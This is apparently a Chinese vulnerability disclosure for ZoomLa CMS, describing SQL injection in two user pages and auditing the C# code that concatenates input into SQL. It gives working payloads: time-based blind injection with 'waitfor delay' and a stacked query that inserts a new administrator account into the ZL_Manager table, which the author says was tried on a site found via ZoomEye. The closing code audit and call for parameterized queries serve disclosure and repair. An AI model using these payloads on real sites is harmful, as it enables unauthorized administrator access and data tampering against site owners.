逐浪CMS某设计缺陷允许盲注
页面1:
http://demo.zoomla.cn/user/AppBack.aspx?type=QQ&openID=
依然是这个页面逻辑判断有问题。
页面2:
http://demo.zoomla.cn/user/UpdateMailChk.aspx?username=1&mail=1
页面1:
可以在用户名中输入
this1','this1','','','',1);waitfor/**/delay/**/'0:00:10'--
然后该怎么搞就怎么搞了
强行加入管理员表方法:
用户名中输入以下数据:
this1%27%2C%27this1%27%2C%27%27%2C%27%27%2C%27%27%2C1%29%3BINSERT/**/INTO/**/[dbo].[ZL_Manager] ([AdminName],[AdminPassword],[UserName],[EnableMultiLogin],[IsLock],[AdminRole],[AdminType],[AdminTrueName],[AddUserID])/**/VALUES/**/('wooyuntest2','202cb962ac59075b964b07152d234b70','wooyuntest2',1,0,'1',1,'wooyuntest2','1')--
zoomeye随便抓了个站来试的:
页面2:
http://demo.zoomla.cn/user/UpdateMailChk.aspx?username=1&mail=2' where UserName='1';waitfor delay '0:00:03'--
上面UserName需要匹配自己当前登陆的用户
这个页面需要登陆后才能用
修复方案:
我们来白盒审计下代码。
漏洞1:
在appback.aspx中,点击提交的话会调用这个函数
protected void Register_Click(object sender, EventArgs e)
然后发现了这么个喜闻乐见的代码
string str = this.Username.Text.Trim();
this.info.UserName = str;
int num = this.buser.InsertUser(this.info, muinfo);
好的,我们继续进入InsertUser这个函数看
public int InsertUser(M_UserInfo userInfo, M_Uinfo muinfo)
{
string commandText = " insert into ZL_User(UserName,UserPwd,email,Question,answer,GroupID) values('" + userInfo.UserName + "','" + userInfo.UserPwd + "','','','',1);select @@IDENTITY";
int num = SqlHelper.ObjectToInt32(SqlHelper.ExecuteScalar(CommandType.Text, commandText));
string str2 = "";
if (muinfo.UserSex)
{
str2 = "1";
}
else
{
str2 = "0";
}
SqlHelper.ExecuteSql(string.Concat(new object[] { "insert into ZL_UserBase(birthday,userid,usersex)values('", muinfo.BirthDay, "',", num, ",", str2, ")" }));
return num;
}
看到这个commandText 大家都懂了。
漏洞2:
if (!string.IsNullOrEmpty(base.Request["mail"]) && !string.IsNullOrEmpty(base.Request.QueryString["UserName"]))
{
if (this.buser.GetLogin().UserName == base.Request.QueryString["UserName"])
{
this.buser.UpByWhere("ZL_User", "Email='" + base.Request["mail"] + "'", "UserName='" + base.Request.QueryString["UserName"] + "'");
mail参数用户可控,同时结合 UpByWhere函数:
public bool UpByWhere(string tableName, string set, string where)
{
return ((((tableName.Length > 0) && (set.Length > 0)) && (where.Length > 0)) && SqlHelper.ExecuteSql("UPDATE " + tableName + " SET " + set + " WHERE " + where));
}
又可以构造出一个盲注点
敢不敢用参数化查询。全部都是拼接的,根本不安全。